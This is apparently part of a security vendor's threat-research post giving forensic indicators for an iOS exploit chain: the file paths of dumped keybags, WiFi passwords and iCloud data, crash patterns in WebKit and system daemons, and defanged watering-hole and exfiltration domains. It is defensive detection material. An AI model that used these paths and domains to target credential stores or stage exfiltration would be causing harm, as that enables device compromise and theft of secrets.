/private/var/tmp/persona_private.kb
Persona keybag (private)
/private/var/tmp/usersession_private.kb
User session keybag (private)
/private/var/tmp/System.keybag
System keybag
/private/var/tmp/Backup.keybag
Backup keybag
/private/var/tmp/persona_keychains.kb
Persona keybag (Keychains)
/private/var/tmp/usersession_keychains.kb
User session keybag (Keychains)
/private/var/tmp/device.kb
Device keybag
/private/var/tmp/wifi_passwords.txt
WiFi passwords dump from wifid
/private/var/tmp/wifi_passwords_securityd.txt
WiFi passwords dump from securityd
/private/var/tmp/icloud_dump/
iCloud dump from configd
/private/var/wireless/wifi_passwords.txt
WiFi passwords dump
Unified Logs Messages
Log Type
Process
Message
Confidence
Log Message
symptomsd
Data Usage for mediaplaybackd on flow 7753 - WiFi in/out: 40878/4980, WiFi delta_in/delta_out: 4039/336, Cell in/out: 0/0, Cell delta_in/delta_out: 0/0, RNF: 0, subscriber tag: 0, total duration: 4.611
During exploitation we observed multiple crashes across several system components. When a stage of the exploit failed, the code deliberately crashed WebKit-related processes and restarted the infection attempt, which appeared to be the attackers’ primary recovery mechanism. We observed such crashes in both com.apple.WebKit.WebContent and com.apple.WebKit.GPU.
In later stages of the attack chain, we also observed kernel panics, most commonly triggered by watchdog timers or launchd unexpectedly exiting. In addition, crash reports and diagnostic files were generated by multiple processes during exploitation. A summary of the affected services is provided in the table below.
While an individual crash would not typically represent a strong signal of compromise, multiple crashes occurring within a short period of time—particularly across several services—would significantly increase the likelihood of malicious activity.
Bug Type
Process
Crash Details
Confidence
409
SpringBoard
WATCHDOG
low
409
wifid
WATCHDOG
low
409
runningboardd
WATCHDOG
low
409
configd
WATCHDOG
low
409
audiomixd
WATCHDOG
low
409
CommCenter
WATCHDOG
low
409
InCallService
WATCHDOG
low
409
thermalmonitord
WATCHDOG
low
309
securityd
EXC_ARM_DA_ALIGN at 0x0000000000000201
medium
309
UserEventAgent
EXC_ARM_DA_ALIGN at 0x0000000000000201
medium
309
wifid
EXC_ARM_DA_ALIGN at 0x0000000000000201
medium
202
mediaplaybackd
CPU_RESOURCE
low
309
WebContent
Various
low
309
GPU
Various
low
Network IOCs
Domain
Compentent
Confidence
7aac[.]gov[.]ua
Waterhole
low
novosti[.]dn[.]ua
Waterhole
low
static[.]cdncounter[.]net
Infiltration Server
high
sqwas[.]shapelie[.]com
Exfiltration Server
high
Appendix - repeated com.apple.WebKit.GPU process crash triggered by exploit upon failure. Exploit code is forcing closure to CoreIPC connection with GPU process so it can try again with fresh state:
Get Our Latest Blog Posts Delivered Straight to Your Inbox
Subscribe to our blog to receive the latest research and industry trends delivered straight to your inbox. Our blog content covers sophisticated mobile threats, unpatched vulnerabilities, smishing, and the latest industry news to keep you informed and secure.